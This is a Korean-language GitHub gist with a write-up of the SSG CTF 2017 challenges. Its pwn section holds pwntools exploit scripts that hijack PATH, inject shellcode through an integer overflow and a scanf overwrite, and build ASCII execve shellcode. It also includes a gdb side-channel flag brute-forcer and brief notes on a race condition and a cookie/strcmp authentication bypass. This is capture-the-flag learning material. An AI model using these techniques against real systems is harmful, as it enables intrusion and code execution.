Skip to content

Instantly share code, notes, and snippets.

@junorouse
Created May 28, 2017 00:39
Show Gist options
  • Save junorouse/6a76fa50c3e194f3779585061fb27f3a to your computer and use it in GitHub Desktop.
Save junorouse/6a76fa50c3e194f3779585061fb27f3a to your computer and use it in GitHub Desktop.
ssg2017 writeup

Reversing

Speed_Test

분석하려다 귀찮아서 대충 생겨먹은거 보니깐 side-channel attack 가능할거 같아서 gdb script를 짯다.

import gdb
import ctypes
import string
import os

bp = hex(0x0804B457)

key = string.ascii_letters+string.digits+"_@#$%^&*()}"

flag = "PASS_SSGCTF{E"
flag = "PASS_SSGCTF{E@sy_Ang4_2nj0y}"

# A U

gdb.execute("b *"+bp)

gdb.execute("r '{}'".format(flag))

os.system("rm tmp.txt")
gdb.execute("set logging file tmp.txt")
gdb.execute("set logging on")
mainsec=gdb.execute("x/wx $esp+4")
gdb.execute("set logging off")
mainsec = open("tmp.txt").read()

print(mainsec)
print(repr(mainsec))
wow = "0x"+mainsec.split("0x")[2].split("\n")[0]
print(wow)


os.system("rm tmp.txt")
gdb.execute("set logging file tmp.txt")
gdb.execute("set logging on")
mainsec=gdb.execute("x/wx {}".format(wow))
gdb.execute("set logging off")
mainsec = open("tmp.txt").read()
wow = mainsec.split("0x")[2].split("\n")[0][:2]

print("-------")
print(wow)

for ww in key:
	if ww=='A' or ww=='U':continue
	print("-----------")
	print(wow)
	print("-----------")
	gdb.execute("r '{}'".format(flag+ww))
	x = gdb.parse_and_eval("$edx")
	a = ctypes.c_uint32()
	a.value=int(x)
	print(hex(a.value)[-2:])
	if hex(a.value)[-2:] == wow:
		# flag += ww
		print(flag+ww)
		break
	

Pwn

Horse_Race

몇년전 뉴하트때 봤던 문제랑 완전 똑같다. ㅋㅋ system("clear") 해주는데 local이라 PATH env만 맞춰주면 된다.
터미널에서 할려 했는데 커맨드가 몇개가 없다..
실행권한을 부여해야 하는데 chmod가 안된다. tar로 압축하고 풀때 원본파일의 권한을 유지시켜주는 기능이 있어서 그걸로 했다.

from pwn import *
import string


s =  ssh(host='35.187.198.163',
        user='user',
        password='guest', port=37985)
s.connect(s.host)

user_id = random.choice(string.digits+string.letters)
user_id += random.choice(string.digits+string.letters)
user_id += random.choice(string.digits+string.letters)
user_id += random.choice(string.digits+string.letters)
user_id += random.choice(string.digits+string.letters)


print s.connected()

s.system("mkdir /tmp/{}".format(user_id))


s.system("ls")

s.put("file.tar", "/tmp/{}/file.tar".format(user_id))

x = s.system("tar -xvf /tmp/{}/file.tar -C /tmp/{}".format(user_id, user_id))

x = s.system("ls -al /tmp/{}/gogo.py".format(user_id))
print x.recv()

x = s.system("mv /tmp/{}/gogo.py /tmp/{}/clear".format(user_id, user_id))
# x = s.system("/tmp/{}/clear".format(user_id))
# x.interactive()

r = s.process("./horse_race", env={
	"PATH": "/tmp/{}:/bin:/usr/bin:/sbin".format(user_id)
	})
r.interactive()

some_basic

9번째 노트가 존재하면 Comment를 쓸 수 있다. Edit 하는 부분에 idx가 unsgined int8로 선언되어있다.
쉘코드를 100바이트 받는곳에 쓰고 인티저 오버플로우를 내서 9번을 만든 후 커맨트에서 오버플로를 내려고 했는데, 카나리가 있었다.
scanf인자가 스택에 있는 값으로 들어가서 +192 에 원하는 주소 넣고 %d 를 bss영역으로 써주면 된다.

from pwn import *

"""
2505397589


0x804b50a

"""

# context.log_level = 'debug'

shellcode = asm(pwnlib.shellcraft.i386.linux.sh())

r = remote("35.187.198.163", 36652)
# r = process("./6ec9842473")

print r.recvuntil("choice => ")
r.sendline("2")
print r.recvuntil("page:")
r.sendline("-502")
print r.recvuntil(":")
r.sendline("1")
print r.recvuntil(":")
r.sendline("1")
print r.recvuntil(":")
r.sendline(shellcode)

print r.recvuntil("choice => ")
r.sendline("5")

print r.recvuntil(":")
r.sendline("1")

payload = "A"*196
payload += p32(0x0804B018)

print r.recvuntil(":")
r.sendline(payload)

script = '''
    '''
# gdb.attach(r, script)

print r.recvuntil(":")
r.sendline(str(0x804b50a))


r.interactive()

some

some_basic이랑 바이너리가 완전 똑같다. 근데 아스키 쉘코드만 가능하게 된다.
예전에 만들어뒀던거 있어서 위아래만 조금 수정했다.
쉘코드로 점프하는 순간 레시즈터에 bss주소가 없어서 edi에 esp (cd 80 있는곳) 를 넣고 10번째 note의 앞부분에 jmp edi를 이어붙였다. (null byte때문에 9번째 노트 제일 마지막을 h (push ~)를 넣어서 4바이트를 방지했고 null null 은 valid한 eax주소를 넣어서 AV안나게 했다.

from pwn import *

"""
2505397589


0x804b50a

"""

context.log_level = 'debug'

shellcode = asm(pwnlib.shellcraft.i386.linux.sh())
print repr(shellcode)

# exit(0)
shell="""
dec ecx
push ecx
push 0x68732f2f
push 0x6e69622f
push esp
pop ebx
push edx
push ebx
push esp
pop  ecx
push 0x38
pop eax
xor al, 0x33
push eax
pop edi
push 0x47474130
pop eax
xor ax, 0x4130
dec ax
xor ax, 0x3041
xor ax, 0x4f73
push esi
push eax
push edi
pop eax

push esp
pop edi

push ebp
pop eax
"""

# payload = "\x00\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

shellcode = asm(shell)
shellcode = shellcode + "E"*(99-len(shellcode))
shellcode += "h"

r = remote("35.187.198.163", 30254)
# r = process("./79040fbad9")

print r.recvuntil("choice => ")
r.sendline("2")
print r.recvuntil("page:")
r.sendline("-502")
print r.recvuntil(":")
r.sendline("1")
print r.recvuntil(":")
r.sendline("1")
print r.recvuntil(":")
r.sendline(shellcode)

print r.recvuntil("choice => ")
r.sendline("2")
print r.recvuntil("page:")
r.sendline("-501")
print r.recvuntil(":")
r.sendline(str(u32(asm('xor eax,eax;mov al,0xb'))))
print r.recvuntil(":")
r.sendline(asm("xor edx,edx; xor ecx,ecx; jmp edi"))
print r.recvuntil(":")
r.sendline("D"*100)

print r.recvuntil("choice => ")
r.sendline("5")

print r.recvuntil(":")
r.sendline("1")

payload = "A"*196
payload += p32(0x0804B018)

print r.recvuntil(":")
r.sendline(payload)

script = '''
b *0x08048D88
    '''
# gdb.attach(r, script)

print r.recvuntil(":")
raw_input()
r.sendline(str(0x804b50a))


r.interactive()

Misc

Telbot

텔레그램 봇이다. 생겨먹은게 sqli 아니면 race condition이 발생할거 같이 생겼다. sqli는 다막아뒀다 고로 race condition이다.
info기능에 admin의 chat_id를 self 멤버변수로 넣어주는 부분이 있다. (이상 1.)
그리고 alarm이 발생할때 char_id를 args로 받으면서 self의 멤버변수로 넣어준다. (이상 2.)
종합해서 알람이 빠르게 뜨게 cycle을 1초로 바꾸고 알람이 발생되는 ratio를 적게주면 된다. (엄청 많이 돌려야댐ㅋㅋ 손으로함)

SSG_CTF_TELBOT:
[Developer Info]
    NickName    : sheisback
    PhoneNumber : 010-1234-5678
    Compnay     : S.S.G
 [XRP PRICE ALERT] - H (chat_id : 5741230_f123123f0_13_4123)
     XRP is higher.
     Current XRP : 259 원

[6:35:09 PM] Juno:
/check_flag 5741230_f123123f0_13_4123
[6:35:10 PM] SSG_CTF_TELBOT:
FLAG is {SSGCTF{C0In_1s_t0O_HaRd_Be_CArEfuLL}}

Web

Simple_Token

게시판 가면 관리자만 확인할 수 있는 글이 있다.
회원가입을 하고 보니 쿠키에 내 아이디가 박혀있는게 있다. ADMIN으로 바꿔주면 볼 수 있다.
패스워드를 입력하란다. sqli안된다. 걍 strcmp 취약점 같아서 어래이로 넣었더니 통과됬다.
로그 페이지를 준다. js를 보니 download함수가 주석처리 되어있다. 들어가서 다운받아 보자.
토큰을 어떤방식으로 generate하는지에 대한 알고리즘이 있다. 그대로 해준다. 안된다. version을 0으로 하니깐 갑자기 된다.
왜 그런진 모른다. ㅋㅋ

Test

MIC Test

복붙하면 된다. 근데 문제마다 플래그 형식이 다 달라서 좀 짜증났다.

키핑할라다가 breakthrough 점수있길래 그냥 인증했다,,

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment